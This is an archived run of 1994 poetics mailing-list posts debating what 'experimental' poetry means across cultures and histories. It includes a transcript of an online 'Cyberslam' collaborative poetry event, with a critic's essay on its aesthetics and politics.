PS: The notion of the "experimental" may be as much a question of literary sociology and literary history as of poetics, as I think Ron Silliman's posting (that firs came out as "poeting") implies. But then for some years Ron has persuasively been making the argument that poetics may be as much a question of literary sociology as of poetics . . .

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44. Patrick Phillips
Re: experiwhat?
Tue 25 Oct 1994

"Experimental" poetry exists just prior to its own substantiation. In this it is kindof a pre-examination, pre-cultural, a pre-thought entity. However, just as you think this the quanta flees. In this moment of thought/flight there is a

mechanism heard, a mental, discursive "click" defying experiment - exposed is the the berm of the idea, the edge of the paper, the lip of the petri dish. This mechanism refutes experiment as a damned threshold of poetic action; damned because in that temporal instant, in that discursive click is the notion of a larger experiment - life - flooding in over edge of the paper. So, experimental poetry exists just after its own substantiation. I guess in experiment the tail is chased.

I am reminded of a story of the archetypal theoretical physicist, Wolfgang Pauli, of whom it was said that even his presence in the same town would make experiments go wrong. He said that two similar particles cannot exist in the same state....in an election year, it's hard to believe...

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45. kathryne lindberg

Re: "Susan Howe's Visual Poetics"

Tue 25 Oct 1994

Indeed, for a moment, try to separate poetics from sociology. Doing so would presumably put poetry or language in an ontologogically prior position, back there before language, as it were? Perhaps one would less silly trying to separate (log)ology from the social?

Experimental usually means somehing like neo-, a concept which certainly relies on the pre=existence of something close enough for the new or experimental to be measured against, usually by those sociologically prepared or clued not to guffaw.

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46. Alan Sondheim

Re: experiwhat?

Wed 26 Oct 1994

On Tue, 25 Oct 1994, Steven Howard Shoemaker wrote:
>
> I'm not real happy with the term "paradigm" either. Certainly, in my
> proposed example we would be talking about something on smaller scale
> than say, the Copernican world view. The issue of to what
> a style can be "dominant" strikes me as a complex one. I continue to think
> that looking at development over time might be a good way to explore
> the (limits of) the analogy to science that the whole question of
> "experimentalism" makes unavoidable. I, for one, would like to hear
> more about you might apply those notions you mention-- "flows, nomadicisms,
> impediments, turbulence, etc"--to the problem.
>

> steve
>
I would think looking at poetries as discursive formations, style-flows rather than styles - bringing into play everything from gossip, rumor, seminar, book, poem, neighborhood, to letters, manifestos, critiques, those regions of writing that seem to articulate communality. And on another level (or the same) to see poetry as an embodiment or excess of the poet herself/himself, as momentary stases or irruptions in other discourses (which would also be discourses of the other - again, talking to someone else, discussing with someone else). I'm more comfortable with these notions, which are related to the aphoristic (i.e. fragmentation, accumulation), rather than well-defined "moments" - in spite of the fact that the latter is prevalent in cultural historiography - for example, the art history slide lecture. It's interesting that one of the most powerful cultural forces is the _body_ of the poet, I think personally of Creeley, Mayer, early Saroyan, Coolidge, Notley, etc. not to mention Olson's breaths, Einzig, etc., how they play (themselves) out within the cultural, and of course Ginsberg, Byron, Brown, one could go on forever.

Alan

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47. keith tuma
"*experimental*"
Wed 26 Oct 1994

I'm grateful for the discussion of the use and abuse of "experimental," which seems to have raised this list from the dead. I'm with Ron Silliman on the absurd but real force of such labels, wanted or unwanted, tactical or not. I suspect that in common usage the term involves a claim towards "real" or "true" or "genuine" or "important" contemporaneity. Who was it that said that, try as we may, we have a hard time escaping Hegel?

While I am fascinated by the discussion of the appropriateness and the attendant anxieties of analogies with science and technology, I would also be interested in hearing from people who know something about the use of parallel or related labels outside of North America. What, for instance, is Hiromi Ito's work "called" in Japan? What conveniences, shorthand, or academic reductionisms describe work we might casually or sloppily call "experimental" in Germany, in Bolivia, in Ghana? This might begin to tell me something about the extent to which American or North American interests are underwriting or overdetermining the use, misuse, and confusion of the term "experimental" in the construction of taste here (US) and now.

Just a question then. Also, a citation, which may or may not be useful or entertaining, from Pound's "Prefatio Aut Cimicium Tumulus," circa 1932: "As for experiment: the claim is that without constant experiment literature dies. Experiment is ONE of the elements necessary to its life. Experiment aims at writing that will have a relation to the present analogous to the relation which past masterwork had to life of its time." Thus my own "claim" about "common usage" involving rhetorics of contemporaneity and the narrative or historiographical logics these imply.

--Keith Tuma

↑ Index

48. log hacker

Re: "experimental"

Wed 26 Oct 1994

To take off in another direction, the study of labels themselves is pretty revealing . . . currently completing a study of the history of US constitutional law on labelling that reveals it to be a significant trigger of the hyperreal . . . . The information and the material object become decreasingly attached either referentially or physically; bureaucratic definitions of cultural experience clash with cultural/historic/traditional definitions (when is a sausage a sausage, after all?); and notions of facticity slip from referentiality to functionality to ephemerally utilitarian, becoming dispersed across space and only fractally determinable. Perhaps the same thing is happening with labels for poets?
Sandra Braman

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49. Patrick Phillips

Re: "experimental"

Wed 26 Oct 1994

As I am in the process of editing an international anthology of "experimental poetry" I have found the rubric quickly falls on apart. What cultural containment "experimental" proposes, must be quickly torn open once I venture into Ito Hiromi's poetry. "Experiment's" relationship to a "masterwork" is overshadowed by the effects of cultural hegemony which proposes a violent foil for the "pregnant and lactating body" that Ito writes. I suppose when Keith asks what is Ito's poetry called, he shouts across this masterwork/pregnant body breach, across post Meiji industrial expansion without really intending on asking what "experimental" is. I think his question appears more in the form of: How do you call Ito's poetry? Just How do you call Nina Ishkrenko's poetry, or to jump the gender breach, Hiriade Takashi's, or to jump back across the

Pacific, and into the US, how would "we" call Paul Beatty's poetry experimental?

The engagement of experiment as having to somehow exist within a relation to the masterwork shows the cultural fatigue of the term. My approach is simply to renegotiate the reason for experiment in language given the terms and historical conditions of the society in which it takes place. For example, the Swahili poetry being _written_ in Tanzania is itself experimental by virtue of the fact that up until the Germans colonized Tanzania Swahili was only an _oral_ language. This written poetry, though quite formally rigid, writes against and with both the tide of orality and of colonial history.

Thanks Keith.

Pat

as an etymological reach: experiment is derived from:

PER (pronounced PEER). Important derivatives are: fear, peril, experience, experiment, expert, pirate, empiric.
PER. To try, risk (< "to lead over," "press forward").
1. Lengthened grade *per-. FEAR, from Old English faer, danger, sudden calamity, from Germanic *feraz, danger.
2. Suffixed form *peri-tlo-. (PARLOUS), PERIL, from Latin periclum, periculum, trial, danger.
3. Suffixed form *per-yo-. EXPERIENCE, EXPERIMENT, EXPERT, from Latin experiri, to try, learn by trying
4. Suffixed form *per-ya. PIRATE; EMPIRIC, from Greek peira, trial, attempt.

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50. FUNKHOUSER CHRISTOPH

(no subject)

Wed 26 Oct 1994

---

dear Poetics,

After the longish "poem" below there are some "pages" of commentary-- which I'd love to discuss further if anyone's interested. Seems somehow related to experimatters-- would love to see other "readings" of this piece here, and a discussion on the question raised at the end. thanks!

Technopoetics '94: Present & Future Considerations of the Word <1.>

note the homunculus?
Maybe.
between the ampersand & questionmark

Footnotes: <1.> A continuation of a previous essay, "Takes a Lot of Voices to Sing a Millenial Song", _I Am a Child: Poetry After Bruce Andrews and Robert Duncan_ (Buffalo: Tailspin, 1994). The subtitle is a passage excerpted from a preliminary encounter with David Kushner on SonicNet. Prepared specifically for a panel on "Technologies of Language" at the annual conference of the Popular Culture Association In The South and American Culture Association In The South, 23 October, 1994, Charlotte, NC. <2.> In the essay "Technology, Scholarship, and the Humanities: The Implications of Electronic Information", Vartan Gregorian discusses his concerns about the fragmentation of knowledge and how information technologies allow us to organize ourselves into too many separate, specialized communities: "What is being created is less like a village than an entity that reproduces the worst aspects of urban life: the ability to retreat into small communities of the like- minded, safe not only from unnecessary interactions with those whose ideas and attitudes are not like their own, but safe from having to relate our interests and results to other communities." (_Leonardo_, Vol. 27, No. 2, p. 131, 1994). <3.> This event was hosted by SonicNet, a dial-up network service in NYC. Various people were involved with the proceedings over the course of the evening and are the voices in the CYBERSLAM. Names given by the authors: Spiro (NYC), Bob Holman (NYC), Moderator SonicNet (NYC), Lo-Ki (NYC), Cyberbabe (London, UK), Veronica (NYC), Regie (NYC), Chris Funkhouser (Albany, NY), David Kushner (NYC), Lori (LA), Robert Molochon (NYC), Blue Water (NYC), Harry Goldstein (NYC), Janis (El Paso, TX), Crow (Cambridge, MA), Skaska (NYC), Doug Cooper (NYC). Initials indicating which author wrote which lines has been removed from the text presented here, though the identifications do exist in other versions of this transcript. <4.> For readers unfamiliar with the concept of a poetry "slam", it is a recent incarnation of poetry founded in Chicago but popularized by the Nuyorican Poets' Cafe in Manhattan. The genre mainly thrives in nightclubs and rock'n'roll settings where authors read poems and are given scores by audience members. A poetry tournament might be another way to describe this type of event, were it not for the fact that typically audiences are generally quite interactive with the poets, often to the point of verbal aggression. <5.> "Congratulations. You Have Found/The Hidden Book.", _ALOUD: Voices From the Nuyrican Poets Cafe_, p. 1-2 (New York: Henry Holt & Co., 1994).

As textual fields expand to include cyberspace, there are various reasons why attention must be paid to what is written in the introduction to _Convivio: A Journal of Poetics [Number One]_: "Poetics is a labor and a threshold where we are working to make an actual thing...," which "is a continual reformation.... Above all it treats of inclusion,...poetics, 'in the plural,' as Robert Duncan says." As we continually face technology (television, automobiles and computers and

digital intermedia), the work, our actions, must be pluralized in order to maximize the potentials of technology and not let its presence contribute to further social fragmentation.<2.>

The text which follows was excerpted from an October 10, 1994 application of mutual composition technology, created through home computers and a dialup network. Regardless of its qualities as a piece of art, such a text is essentially something more than a piece of writing (though it was composed on keyboards), or a book (though it is preserved by computer disc). As literature begins to blend with other forms and other media, new forms and types of collaboration emerge:

> Live from NYC's Lower East Side
> NUYO RECORDS' GRAND SLAM -
> POETRY AS BLOODSPORT!!!! <3.>
>
> Join the national slam champions and host
> Bob Holman of the legendary Nuyorican Poets' Cafe
> for the galaxy's first CYBERSLAM.<4.>
>
> Press Any Key

Before entering this conference room you should know a few things...

> 1: When you first enter your presence will be announced to
> everyone in the room. DO NOT TYPE ANYTHING when you enter
> the conference room, just wait and watch to see who is
> talking and what is being discussed.
>
> 2: Understand that what you type on your screen only appears
> to everyone else when you press Enter to `send' it. This
> means you can use backspace and delete to correct things,
> but it also means that people may be WAITING to see what you
> are typing. To avoid long waits, interruptions, and
> confusion, type like this:
>
> Type short bits...
> end in "dot dot dot" ...
> press "Enter" every few words...
> and when done...
> end with...
> your initials, like this. DN
>
> 3. Wait until the person before you has entered their
> initials before you hit "Enter".
>
> This will allow us to all .. to see & read each other..
>
> Also the following commands may be useful:

/q Quit - leave the conference room
/w Who's online
/s Send a private message see /help for details

ANYTHING YOU TYPE WHICH IS NOT PREFACED WITH A FORWARD SLASH CHARACTER (/) WILL BE DISPLAYED TO ALL OTHER USERS IN CONFERENCE WITH YOU! For this reason, TYPE CAREFULLY!

Enjoy the conference...

Angel! I aimest at the site of love, a crown of born, a shift
to lift. Ala the boom!
boomalay boo m'lay BOOM
is a young poets deity defining the words of sound to mouth to ear to cyberspace
Bloodsport is an excellent adjectivery on an anti-columbus day
No, there is a world of living world of living in the
livingroom
Stereo?
what sound
rocket a racket
finger chickkle chickle
Airy aereo.
Ticket the pocket of sound.

Who's winning?
Files are denial
walk a mile to a truckstop subway bluyes tune
tella Bit Jack and Mega Bit jill
Glub glub the view from down here is blue
telephoney congress on capital hill
telea promt start me
make a simple man beg..
tella phone send me
for a cup o' tea
(tela com heare me
with a pot of
...
Da stars the sun work stations reaching for the....
Duckegg
Peking?
never, never...
Bejing

Duckeggs in the womb of my mother board
the third is a world that disturbs me

Come back dear heart of thread
Oh yes it is none to heither for me either.
Oh my breaking heart (o the melodrama)
A tangerine scene bakes the loaf
:::Asks same question:::
A lemon steals the show
Gone to Haiti, Matey
a t & t steals the show,...
Drain my teeth
of hell upon a branch of C

like a thief at a morrocan
market
Holy Jupiter
indian lit room
heart has been severed and munch up into chunks of liver for the
cats
Like a poet with a dictionary for a toothpick
I can't keep the space between my teeth

tastier
joining in...

like a dead duck down the drink
delicious, delicious

proverbs in progress

the madder magazine
If your parents..
could send messages back to themselves
|
Made you wear plaid...
They never truly ...
what's happening with yr video?
Loved you :)
ducks on the panelling
fortitude fibrulation
put your kilt back on,
cracked shell mauve plangent
longly distance blade runners
I've heard of a few.

The spineless kind?
a spire?

single frame buzz dump
Con-Spire
In spire
implosion diesel pram perambulating
miss placed frogs that hop in the snow
I stick
is
there any way i can send what i write back to myself
as it fits
in real time with the conversation?
the blockhead men in the Ocean of know
HEY EVERYONE...
|
TRY TO HAVE SOME ORDER.
jagged and figged stone faced and frigged huddled up bunched up
broken and twisted!!!!!
NO ONE TALK...
LET'S SEE IF THIS WORKS...

OKAY...
REG IS UP...
goregiegoregiegoregiego
ARE YOU READY...
GET SET...
|
EVERYONE ELSE...
SHAD UP...
REGIE...
YOU'RE ON.
REGIE?
HMM...
love cycles: elevating the human experience in poetry is a pick-up
device
But when I get the guy I want
I always get new material
huh?
7.6
4?
who's judge?
.02!

too short. want more.
who's the jury?
love always gets a +.
aFFECTED
UPON ME
LIKE A SUN SPLASH
DAY
tHE WORD IS ELUSIVE
Feels like I should
REACH UP And choke the sky
Put the words back in my throat
but I realise
HEY, HOW BOUT SOME MEANING WITH THE FEELING
is that it?!!
while the storm dies You can't scream without a voice and even
I think that's the pot calling the kettle Blackman,
SOMEONE HAS TAKEN CONTROL OF MY KEYBOARD
If you could
Ma bell baby bell edipousrex teleos Anarcey spitting out text
Tella prompt start me tellaport send Me tella bit tell me Telephone
will me
tella man fear me TeleCom HEAR ME!!!!
            Video one way
Who would listen?
yeah!
AWWW...

SCORES?
a 9.2 in my ahem new book
3
100,000,000+ on the "john lily scale"
||
9.2

Tell it to the porpoise, noise man
WHO'S NEXT?
OKAY, AN 8.5
um who's keepin score?
I AM
howzabout a pome

o
TAKIN' NAMES
Ohhhhh

nope I'm at Jupiter
CHICKEN NAMES

sink to the floor
thank you
ohhhh, so it is that
dogs sing in the bull pen
dog
dog
dog
rf-rf-rf
you no way! Tellen you two way tellen you my way Tella Bit Jack and Mega bit Jill Tella phoney congerss on capital hill Tellla BYTE!!!!
Tella fangs of trust press against americas Neck
the rivers of anticipation suckle my inner bum-rumpus

nice last line blue.
8.456
rf-rf-rf
That was really doggy style.
I dug the dog. 8.8
me too
I dug the hole
i dug the sink

Tella lack of vision
What is this all mean rrfrrf
Tella Joysticks for tv

Tella lemings to the Sea
I have to go all my lungs re reversed, green is mean.
love handles on TV's, right next to the volume nob
Tella KidJunkies cant get free
nothing mean, promise, not at all...
Tella Gentic Chrildern caught in a Dead static RAIN>>>>>>

I supersoniced from base control.
(how do you do pvt messages??)
Next poem?
anybody?

TYPE /S, THEN THE LINE NUMBER, A SPACE, AND A MESSAGE
ANY QUESTIONS? TYPE /H FOR HELP.
One Way of Looking at a Blackbird
That is no bird

Runs in to the wall and bounces back
That is a window
And a Tiny little brick.
reportage from the grim front

"the Heart the Heart REMBEMBER the Dead Don't Share"
what about the avuncular driver's seat?

cuz we like like it loud here
ooooooo

wants to hear water gurgle
FOR YOU...
NO ANSWERS ARE LIKE NO REVIEWS...
AND YOUR POEMS...
are like fish
naughty
IN A MOMENT OF EXQUISITE TENSION
Caught, smoked, and hooked
LIFE MAY LEAVE A STAIN
On the phone. sorry!
ON THE MOMENT...
NO EXCUSES...
WE'RE WAITING...
ARE YOU READY?
On the phone, be back in a minute. carry one.
AWW...
or two
TO BUSY?...
THIS LITTLE POET GOT SOLD!..
HOW ABOUT YOU LO KI?
THIS LITTLE POET THINKS HE'S A ROCKSTAR!.....
WHILE THAT POET OVER DERE
this short slug's gotten a bad rap
runs in the room and wacks you with a huge sausage! WACK!
GOT OLD
AND SICK
AND POOR
this is just as exclusive
THE DRAFT UPWIND CAN ONLY LEAVE IN IT'S WAKE
Sad roman a clef, s-man. Clues?
THE SHAFT
Shaesh
Ezra Pound?

so i scream what of it
oh, gefilte fish on corn bread
shinfat
shinfat
hi

x

x
toads trade children by the pond side
like greasy villians from some low grade
how about a poem?
Their it is
ok
buttered soy corners

THE END
ahem
is just the beginning

where's the guy from the Real World?
"The Dead Don't share through they reach toward us from the grave..
(and I Swear they Do!) They do not hand Us their Hearts they Hand
Us
their Heads the Part that Stairs.
Infinity Plus - topical, erratic, and genius!
Ras
binky shot hisself in da foot

feet of pork meat
with a shape
lumpy whitefish sandwich
kosher, pleeeez
OKAY, EVERYONE...
LET'S HAVE SOME QUIET...
This poem is called ART IN ARCHITECTURE
HE'S READY, I THINK...
<<<<<<<<<<<<@--triangular tumor
+OP Dart sneckle
dart sneckle im bis

Could
Frank Lloyd
Wright create
better structure
what lies

| between my
lover and
I is where
the similar
transcends
the seven
wonders of
the world
Twin Towers in white
sheets how his slopes
against my teeth- a mini
skyscraper reating on muscle
body rocks a |ted
body rocks a cultivated
landscape falling
like babel

--69 six or nine
I wish it was longer.
I decided to keep it short and sweet!
Sometimes you've got to work with what you've got

it's like watching textual tv.

I just download Ripterm and installed and and i get a error about
i actually am gently fascinated by
Why do you want a Poem???
our fond feathered friends
of less means
than ordinary
fowl
you on the wrong planet
because we're slammin
tell me how to fix that index thing... and i will get you a cool
poem..
but we'll settle for a screenplay
I like this medieval barter system: poetry for online tech support

pardon us whilst we resolve technical difficultures
so do anybody use Ripterm?
i like this medieval feudal system
does
!

or is that Marxian dialectic?
Of course.

ducal dynasty dashes down
alliterative alluvial anality
a poem
Ucz(SvI-{] /./_CH-,=
&v1X/NJ\uNL<ct>xf>
lYG=
o]H`Z,[Nzp":)cGDBqXDp0"pV,UYC`x~_4{7r5|[p`4
consonative cacaphonous coddywaddle
the wire
i sense terrible confusion
dissonant dastardly digital diddling
in your tea leaves
hi
mr minor majestic misfit or anomaly?

nekkid nacreous narcosis
scintillating psychotic cyborg

snarkle sniffer sneezes skank down toilet

loping leprachaun leaps litigious lollipop
oh, snuffer shall we speak of a live skull?
or a giant sand?
m?
A giant sand...

I am ageless.
be back
as the kite flies, then...
from the grain
dirty rags piled
candles burnin'
in the corner,
i don't know if i
can breathe tomorrow
can make it to tuesday

the sound always depends on the instrument blown

sibilance over radio hiss

that radio love that radio
simian ducks shave

invert the lines
whoever you ares...

to be a "real"

* * * *

In the Invocation to the recent anthology ALOUD: Voices From the Nuyorican Poets Cafe <5.>, co-editor Bob Holman writes, "This book dares to state the obvious--RAP IS POETRY--and its spoken essence is central to the popularization of poetry...Now all technology bows to the poem itself, the singular voice rising above the pablum noise of a society filled with blandspeak, the political blahblah, commercial absurdwords..." A Rap style of poetry, which moves towards making language sound with its rhymes its flashy know-it-all attitude, clearly predominates our Cyberslam transcript. Much of this type of poetry deals with mutual and uncommon aspects of americana, what is happening in domesticated as well as street lives. As with any text, varying measures of gratification are possible as a result of the Cyberslam, depending on one's poetics predisposition. Critically, one might read this piece as falling into the large pool of an already available casual cheap-joke type of poetry which so much "successful" alternative verse has moved towards in recent years. The stylistic homogeneity of the Cyberslam is almost a surprise given that there were at least a dozen authors stretching across six thousand miles of hemisphere attending to the composition.

However, looking closely at the preceedings we can see elements such as concrete poetry emerging, anarchic enjambment and blatant interruption (poetic terrorism?), dada, improvisatory call and response and other derivative forms (such as humor) beneath the surface of a popular lyric form. These blends give something particular to the text, in addition to the fact that it is the first known occasion where poetry has been presented and composed by numerous authors spanning the globe in real time. Still, given the lack of a structural hierarchy and precedent, and its relative homogeneity, this writing remains unaffected by the technological apparatus, embodying more or less the same liguistic territory as the american english which pervades much of popular culture. Though there are certain points where conversation or randomness offer new dimensions, where two "poems" blend into one expanded, there remains a narrative of individuation where the scope and possibility of the poem remain contained by its simplified language and topical narrowness. As poetic purpose and usage of these mechanisms begin to take shape, future writings in this domain could be heightened by meaning and focus (following one course of aesthetic), or at least become more broadly informed by a span of conscientious poets and thinkers. Obviously, due to the newness of the technology and the numbers and varieties of people not yet hooked up with

digital/computer or network resources, there is still a great deal of progress to be made in coming to terms with the potentials of the machinery.

As a poetry "slam", it is difficult to imagine such competitions going over well in cyberspace until interactive audio and video terminals are available to all participants. In a face-to-face atmosphere, the speaker's voice is generally continuous in spite of jeers, though is generally not interrupted as song. On distanced screens we are unable to avoid disruption by textual terrorists able to inject to the conference language as an agency of chaos, without regard to the protocols of writing which flash on the screen before you enter the conference room. Such disruption is appropriate, perhaps, in many cases, but were it ever to be conceived of as an organized event, programmers would need to find way for the poet to instantly transport blocks of text from computer to network conferences. A few practice sessions for perspective writers might also help sharpen the dialog.

Of course, at the start we are told to "enjoy" the conference. Perhaps that is what we are left with: a poetry of momentary enjoyment. It is evident that we are now just starting to feel our way through the early stages of this process distantly clicking fingertips drumming typing the future. Without imposing penalty on disruptive participants (which I wouldn't suggest as an option, needless to say), the genre as we read it today will most benefit poetry's thrill and pleasure seekers and others who have the interest to indulge.

The for(u)m, as is, allows for too much physically and visually unstimulating "down" time on and, for the writer/reader in front of the screen. It possesses value as curiosity and underdeveloped experiment. Despite one writer's comment during the event about it nature as "textual tv", there are many strides to be made before poetry accesses itself to the mainstream from computer to computer. We definitely miss the "spoken essence" Holman refers to in conjuntion with _ALOUD_, as well as the buzz of the Cafe. It is evident that there are many limitations due to the software and underdeveloped audio/video network interfacing. For instance, in future writings which utilize this methodolgy, when there are two channels in such a setting, one for composition and one for subtextual dialog (discussions/speculations on the work), both reader and writer may be able to follow the cybernetic narrative without conversational disruption.

Among the important elements contained in this conception of "writing" that could effect paradigms of literary texts in the future are the rules under which patrons are encouraged to write. These restructure or censure the patterns of writing, keeping it short as the attention "span" (instant). Most writing in the Cyberslam follow this premise, which conceivably works well in a sound-bite world. Still, there is not enough visual stimulation to snare the average

attention at this stage. When graphics and sound dimensions become available, artists who are prepared can begin to create and experience mutual situations as a group despite physical seperations.

While it is almost certain that nothing replaces the intimacy and warmth of localized inter/action and gathering, in a less than ideal world we are often driven elsewhere for contact and communion. There are scholars who believe that writing in electronic space, divulged from interpersonal contact, invites a more democratic and equilateral writing space than previously available. There are more options, varieties and interpretations of "space" and "writing" using methods accessible in the current historical and creative moments.

Which brings us to the question of whether or not there are political possibilities for the medium. It is likely we might begin to see the "Moderator" play an interesting roll during a projected ongoing poetic scroll or a people's history. At what point would we find our Moderators--looking in at every conversation--beginning to police content? When inventive and intellectual people begin to gather and compose in large numbers and discuss actions toward the creation of social justice and cultural equality through a knit of energy and vision, in cyberspace and elsewhere, what authorities might our Big Brother inform then? It is probably safe to say that while we may be invited to "Press Any Key", pressing what might be considered an improper combination of keys would most certainly lead to trouble for the author(s). Consequently, it may be discovered that there is no potential for social activism through this medium.

We are children in the technojungle beginning to weave floral vines within the poetics tree. There is an overt awareness of the evils of the media. With the Cyberslam there is only a mechanical move towards bridging the gap between poetry and technology. A question yet remains: what are we to do with the machines which are able to interactively process language, sound and visual aspects of expression?

--Chris Funkhouser

[redacted]

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51. Steven Howard Shoemaker

Re: "experimental"

Thu 27 Oct 1994

At the risk of stating the obvious, it's interesting that this discussion of "experimental" poetry has 1)sought to define that term and its appropriate use, and 2)frequently shaded into a discussion of the nature & use of labels per se.

On that latter point, Pound, continually encouraging Zukofsky to foment some sort of "group action," goes so far as to write that one must have some sort of a "program," that even if the program isn't so hot in itself it will bring things to a head in a useful way. (Can't find the ref at the moment). He also makes some other interesting pronouncements on the "science of groups"--e.g. the point of a group is precisely to have some where to go when you don't want to have to advertise yourself (again, the ref eludes me at the moment).

Interesting that the academy is quite comfortable now with the Imagists and Vorticists (if not yet the Objectivists), but that sort of PR drew a lot of flak on the poetry scene of the day, in the little mags etc. (just like L=A=N=G gang more recently?). Pound was conscious of the that backlash and sometimes careful to make sure a given action/project wasn't seen as motivated by "gang feeling."

Of course labels and groups aren't necessarily the same thing either. Something like "experimental" is, of course, much broader that something like "Imagists"(but at the same time, that term often came to stand for the whole "free verse" avant-garde tendency of the day). And a group can be quite small and coherent or quite large & dispersed.

Well, i'm not sure where all this is heading. I guess i decided to go back in time as a complement to Keith Tuma's valuable suggestion that we extend the discussion across cultures.

steve shoemaker

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52. FUNKHOUSER CHRISTOPH

New Poetry Magazine (fwd)

Thu 27 Oct 1994

Forwarded message:
From Thu Oct 27 11:18:51 1994
Date: Thu, 27 Oct 1994 11:14:40 EST
From: "Harrison, Beth" <[redacted]>
Subject: New Poetry Magazine
To: Multiple recipients of list ICONOL-L
<[redacted]>

Spinning Jenny, the new poetry magazine from Black Dress Press, is currently accepting submissions.

We are especially devoted to the work of new and emerging writers, and welcome the opportunity to review poetry of all shapes, sizes, flavors, persuasions, and schools.

There are no deadlines for submission or fees for reading; payment is in contributor copies.

Please send your work, with a self-addressed, stamped envelope or mailer, to:

Spinning Jenny, PO Box 356, Cooper Station, New York, NY 10276-0356.

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53. Susan Schultz
Re: "experimental"
Thu 27 Oct 1994

Just a brief thought about the discussion of "experimental poetry" and the suggestion (Keith Tuma's?) that we consider the question across cultures. It seems to me that some of the most experimental poems being written now are poems that in themselves cross cultures. I'm thinking particularly of Kamau Brathwaite's MIDDLE PASSAGES, where modernism meets "negritude" meets high-tech (he uses different computer-generated fonts to get at the poem's essential orality). Or Lois-Ann Yamanaka's (Hawaii) poem, "Tita: Boyfriends," where a pidgin speaking teenager suddenly lapses into perfect valley girlese, which she speaks with her boyfriend in order to impress him, knowing full well that it's an "act." Experimental poetry, at its best, is a creole form--mixed, ruptured, aware of the power structures it exposes and deposes. It's Caliban writing on a computer (as in Brathwaite's "Letter Sycorax"). Oops, gotta go.

Susan M. Schultz

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54. Sandra Braman
Re: "experimental"
Thu 27 Oct 1994

Re Shoemaker's comment that labels and groups aren't necessarily the same thing -- it was precisely my point that in the postmodern environment, they rarely have much of anything to do with each other at all . . . . Sandra

↑ Index

55. Tony Green
Re: "Susan Howe's Visual Poetics"
Thu 27 Oct 1994

Dear Alan Golding, Apropos yr notice, but not immediately providing biblio, I've just read S.H's The Birth-Mark. The reading of text from hand-

writing she does there turns poem into calligramme it seemed to me in a very useful way and entered what could be called the semiology of "art" tht relates to problems in painting. I've been much concerned with a like problem in classical European history painting, especially Nicolas Poussin, where the standard mode of analysis is all to do with the literary character of the picture, but cannot handle the pictorial structures, or the style of representation as aspects of "meaning" or " content" . Reading Emily D's poems: I am only content to read them in holograph, knowing that the hand-writing of the text is as important as the actual words. I do not share her certainty that the poems can be entirely done in print. The only kind of answers I have found so far are very rarely corroborated in print. I did find the phenomenological/psychoanalytical early Lyotard Discours/Figure useful.
In New Zealand there is a related problem. The outstanding local modernist (now dead], Colin McCahon painted numerous paintings that consist largely of "hand-written" text (usually texts quoted from poems or from the bible]. These are not dissimilar as image/text relations to E.D.'s poems. These thoughts off the top of my head this morning, finding your message.
Tony Green

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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56. Tony Green
Re: absurd category
Thu 27 Oct 1994

Re Ron Silliman's problem. What about the social gatherings: "writing associated with L=.... magazine", not a style- or historical- period category. As with, equally, "writing associated with United Artists". Once the long-winded name is put in place then subsequent references can shorten to, say, LangPo, without too much confusion. It's obviously an old problem that comes from seeking to conglomerate materials for polemics or history (if there is a difference). When you look at Impressionists or Impressionism, which actual pictures count as central, which as peripheral? At the level of the picture the term becomes a useless generality. Tony Green

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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57. Tom Mandel

Re: absurd category

Thu 27 Oct 1994

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re: Ron's "...a whole other level, society."

Obviously poetic experiment has nothing to do with scientific experiment; the latter is a well-defined and finalizing act. More "poetic" experiment occurs in physics in the activity which physicists call "bullshitting;" it consists in taking the chalk to the blackboard and writing and talking to the rest of the group. This is done in turn. For some reason, I've been told by a French physicist, French physicists are not very good at this activity. Obviously what we call poetic experiment occurs at the beginning of the/a process, on the model of Kelly's "let's see what happens if I do this" although often way more formalized (i.e. "do this" may describe a pretty lengthy, complex activity: Tjanting is a book written in this way) and not at the end. Someone referenced a definition roughly "an activity with an unknown result" but this definition would seem to have arisen from usages like "experimental poetry" and can't be invoked to explain the usage. It would be nice to trace the history of the phrase; I think it may have more (much more) to do with social experiment, utopianism; how does Bakhtin put it? "The word inhabits a realm of ends." Perhaps also worth thinking of the overlap of experiment with experience (the latter word in french, for example, translates the former english word), a gaining of experience, pushing into new territory -- the territory ahead. Here too would seem a cluster of concepts from a 2d half of the 19th century mindset (rewrite Henry Adams dynamo as modernism). Curious what dross we do our best with? Avant garde -- a napoleonic military term, again one of direction and first contact with the enemy, the unknown.

But I don't think the phrase social formalism is much help; how are the two being combined, i.e. is it the formalism that is "social" or does this juxtaposition of terms simply point at the interests of a group of people -- if so, it's better of

course than "experimental" which points at nothing, but not much better since we would prefer our ostensive definitions not to require explanation.

Well, like John Clare, I "wrote till earth was but a name."

tom mandel

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58. William Lavender
Re: absurd category
Fri 28 Oct 1994

Tom Mandel said"

>>it's better of course
than "experimental" which points at nothing, but not much better
since we would prefer our ostensive definitions not to require
explanation.<<

It seems to me that one would have a stable notion of the experimental insofar as one had a stable notion of law (scientific or juridical), ethics, canon, depending on the context. Interesting how a word, cut out of its context, suddenly "points to nothing," i.e. is severed from reference, since the referent is always a relation. In any context it seems to involve stretching or perhaps erasing a boundary, so of course if we do not see the boundary we do not see the experiment. And the unstated polemic of the experimental is the law that the referent hypothetically transgresses. It is a movement of desire. Just as physics now recognizes the impact that the experiment itself can have on its results, i.e. that particles are more likely to follow a certain trajectory if that trajectory is hypothesized, we have to concede that this discussion has altered the term "experimental." To test this, we might pick a term at random ("nothing", for example), cut it out of its field of use, subject to an analysis similar to the one that "experimental" has just undergone, and see if it ended up pointing to anything.

from steamy New Orleans,
William Lavender

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59. Ron Silliman
Re: Motivation
Fri 28 Oct 1994

What I like about Social Formalism is that it combines both the general thrust of the activity with the general thrust of the motivation for such activity, i.e.,

that these writings are/were motivated for explicitly social reasons, even where (as often enough was the case) the definition of the social reason would have been hard to get at beyond "general sense of dissatisfaction w/ the present condition of things"

What separates most of the writers in In the American Tree, for example, from poets now ages 25-30 doing superficially similar things on a page, is precisely that sense of motivation. Not that younger poets don't have motivation, but it's a different one, generally. And the fact that something like LangPo sits owl-like on the landscape is part of the problem any younger poet must thus face.

The impulse to write in the way
that, say, Stephen Rodefer did 10 years ago,
is not the same today.
Even for Stephen.

I actually think that is why in the O-blek anthology
we see such a "return to the lyric" as a mode.
